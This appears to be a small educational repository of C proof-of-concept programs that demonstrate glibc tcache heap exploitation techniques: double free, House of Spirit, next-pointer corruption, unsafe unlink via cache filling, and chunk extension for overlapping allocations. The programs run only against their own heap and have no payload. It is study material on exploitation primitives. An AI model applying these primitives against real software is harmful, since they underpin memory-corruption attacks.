├── Makefile ├── README.md ├── tcache_cache_filling_unlink.c ├── tcache_corrupt_next.c ├── tcache_double_free.c ├── tcache_extend_chunk.c └── tcache_house_of_spirit.c /Makefile: -------------------------------------------------------------------------------- 1 | PROGRAMS = tcache_double_free tcache_house_of_spirit tcache_corrupt_next tcache_cache_filling_unlink tcache_extend_chunk 2 | CFLAGS += -g 3 | 4 | all: $(PROGRAMS) 5 | clean: 6 | rm -f $(PROGRAMS) 7 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # tcache-exploitation 2 | TCACHE (thread local caching in glibc malloc) attack vector common in heap exploitation 3 | -------------------------------------------------------------------------------- /tcache_cache_filling_unlink.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define TCACHE_FILL_COUNT 7 6 | typedef struct tcache_entry 7 | { 8 | struct tcache_entry *next; 9 | } tcache_entry; 10 | 11 | struct malloc_chunk { 12 | size_t prev_size; 13 | size_t size; 14 | struct { 15 | struct malloc_chunk *fd; 16 | union { 17 | struct malloc_chunk *bk; 18 | char buf[100]; 19 | }; 20 | }; 21 | }; 22 | 23 | #define mem2chunk(m) \ 24 | ( (struct malloc_chunk*)((char*)m - offsetof(struct malloc_chunk, fd)) ) 25 | #define chunk2mem(c) \ 26 | ( (void*)((char*)c + offsetof(struct malloc_chunk, fd)) ) 27 | 28 | #define size2request(sz) (sz - 2*sizeof(size_t)) 29 | int main(void) 30 | { 31 | struct malloc_chunk evil; 32 | printf("Unlink attack - while taking a chunk from small bin, the other same size chunks from the corresponding bin would be used to fill the appropriate tcache bin with **unsafe unlink** until the corresponding bin is empty or the tcache bin is full\n"); 33 | 34 | printf("\nFirst fill up tcache bin and put enough chunks to small bin\n" 35 | " - at least TCACHE_FILL_COUNT+2 chunks\n" 36 | " * TCACHE_FILL_COUNT for filling up tcache\n" 37 | " * 1 for allocating out from small bin\n" 38 | " * 1 for putting at the tail of small bin\n"); 39 | char *tcache[TCACHE_FILL_COUNT], *small[TCACHE_FILL_COUNT+2]; 40 | for (int i = 0; i < TCACHE_FILL_COUNT; ++i) 41 | tcache[i] = malloc(0xc0); // chunks in tcache won't be consolidated. 42 | for (int i = 0; i < TCACHE_FILL_COUNT+2; ++i) 43 | { 44 | malloc(0x10); // prevent from consolidating 45 | small[i] = malloc(0xc0); 46 | } 47 | for (int i = 0; i < TCACHE_FILL_COUNT; ++i) 48 | free(tcache[i]); 49 | for (int i = 0; i < TCACHE_FILL_COUNT+2; ++i) 50 | free(small[i]); 51 | 52 | printf("\nNow we hope victim is the lastest chunk to be unlinked from small bin to tcache or it would corrupt.\n"); 53 | struct malloc_chunk *victim = mem2chunk(small[TCACHE_FILL_COUNT]); 54 | // bck->fd = bin; 55 | victim->bk = (void*)&evil; 56 | 57 | printf("\nAnd the result is similar to unsorted bin attack\n"); 58 | printf(" Before unlink : %p\n", evil.fd); 59 | // clean tcache 60 | for (int i = 0; i < TCACHE_FILL_COUNT; ++i) 61 | malloc(0xc0); 62 | // take from small bin to trigger cache filling 63 | malloc(0xc0); 64 | printf(" After unlink : %p\n", evil.fd); 65 | 66 | return 0; 67 | } 68 | -------------------------------------------------------------------------------- /tcache_corrupt_next.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | typedef struct tcache_entry 6 | { 7 | struct tcache_entry *next; 8 | } tcache_entry; 9 | 10 | struct malloc_chunk { 11 | size_t prev_size; 12 | size_t size; 13 | struct { 14 | struct malloc_chunk *fd; 15 | union { 16 | struct malloc_chunk *bk; 17 | char buf[100]; 18 | }; 19 | }; 20 | }; 21 | 22 | #define mem2chunk(m) \ 23 | ( (struct malloc_chunk*)((char*)m - offsetof(struct malloc_chunk, fd)) ) 24 | #define chunk2mem(c) \ 25 | ( (void*)((char*)c + offsetof(struct malloc_chunk, fd)) ) 26 | 27 | #define size2request(sz) (sz - 2*sizeof(size_t)) 28 | int main(void) 29 | { 30 | printf("Corrupt next of tcache_entry, it's simialr to fastbin attack but no size check corresponding to fastbin index need to be satisfied.\n\n"); 31 | size_t whatever_sz = 0xdeadbeef; 32 | struct malloc_chunk evil = {.size = whatever_sz, .buf = "hack!"}; 33 | printf("Evil : %p\n", &evil); 34 | 35 | void *victim = malloc(0x20); 36 | free(victim); 37 | // overwrite victim's next pointer 38 | ((tcache_entry*)victim)->next = (void*)&evil; 39 | printf("1st allocation : %p\n", malloc(0x20)); 40 | struct malloc_chunk *m = malloc(0x20); 41 | printf("2nd allocation : %p, content = %s\n", m, m->buf); 42 | return 0; 43 | } 44 | -------------------------------------------------------------------------------- /tcache_double_free.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main(void) 5 | { 6 | printf("Double free with tcache\n"); 7 | 8 | // fastbin 9 | printf("\n[Fastbin] without tcache, it would corrupt (double free or corruption)\n"); 10 | void *m1 = malloc(0x20); 11 | free(m1); 12 | free(m1); 13 | printf(" 1st fast chunk allocation : %p\n", malloc(0x20)); 14 | printf(" 2nd fast chunk allocation : %p\n", malloc(0x20)); 15 | 16 | // smallbin 17 | printf("\n[Smallbin] without tcache, it would corrupt (double free or corruption)\n"); 18 | void *m2 = malloc(0xc0); 19 | free(m2); 20 | free(m2); 21 | printf(" 1st small chunk allocation : %p\n", malloc(0xc0)); 22 | printf(" 2nd small chunk allocation : %p\n", malloc(0xc0)); 23 | return 0; 24 | } 25 | -------------------------------------------------------------------------------- /tcache_extend_chunk.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | struct malloc_chunk { 7 | size_t prev_size; 8 | size_t size; 9 | struct { 10 | struct malloc_chunk *fd; 11 | union { 12 | struct malloc_chunk *bk; 13 | char buf[100]; 14 | }; 15 | }; 16 | }; 17 | 18 | #define mem2chunk(m) \ 19 | ( (struct malloc_chunk*)((char*)m - offsetof(struct malloc_chunk, fd)) ) 20 | #define chunk2mem(c) \ 21 | ( (void*)((char*)c + offsetof(struct malloc_chunk, fd)) ) 22 | 23 | #define size2request(sz) (sz - 2*sizeof(size_t)) 24 | int main(void) 25 | { 26 | printf("Extend chunk to get overlapping, without tcache -> double free or corruption\n"); 27 | void *victim = malloc(0x20); 28 | void *overlap = malloc(0x20); 29 | 30 | printf(" content at the beginning : %s\n", overlap); 31 | mem2chunk(victim)->size = 0x100; 32 | free(victim); 33 | void *evil = malloc(size2request(0x100)); 34 | memset(evil, 'A', size2request(0x100)); 35 | 36 | printf(" overlap chunk content now : %.20s\n", overlap); 37 | return 0; 38 | } 39 | -------------------------------------------------------------------------------- /tcache_house_of_spirit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | struct malloc_chunk { 6 | size_t prev_size; 7 | size_t size; 8 | union { 9 | union { 10 | struct malloc_chunk *fd; 11 | struct malloc_chunk *bk; 12 | }; 13 | char buf[100]; 14 | }; 15 | }; 16 | 17 | #define mem2chunk(m) \ 18 | ( (struct malloc_chunk*)((char*)m - offsetof(struct malloc_chunk, fd)) ) 19 | #define chunk2mem(c) \ 20 | ( (void*)((char*)c + offsetof(struct malloc_chunk, fd)) ) 21 | 22 | #define size2request(sz) (sz - 2*sizeof(size_t)) 23 | int main(void) 24 | { 25 | printf("The House of Spirit with tcache \n" 26 | "There's no nextsize check (invalid next size (fast))\n" 27 | "[Fastbin]\n"); 28 | struct malloc_chunk evil1 = {.size = 0x100}; 29 | printf(" Evil chunk : %p\n", &evil1); 30 | void *victim = malloc(0x20); 31 | // overwrite victim by evil 32 | victim = chunk2mem(&evil1); 33 | free(victim); 34 | printf(" Next allocation : %p\n", mem2chunk(malloc(size2request(evil1.size)))); 35 | 36 | 37 | printf("Now it works in small chunk too\n" 38 | "[Smallbin]\n"); 39 | struct malloc_chunk evil2 = {.size = 0x100}; 40 | printf(" Evil chunk : %p\n", &evil2); 41 | victim = malloc(0xc0); 42 | // overwrite victim by evil 43 | victim = chunk2mem(&evil2); 44 | free(victim); 45 | printf(" Next allocation : %p\n", mem2chunk(malloc(size2request(evil2.size)))); 46 | 47 | return 0; 48 | } 49 | --------------------------------------------------------------------------------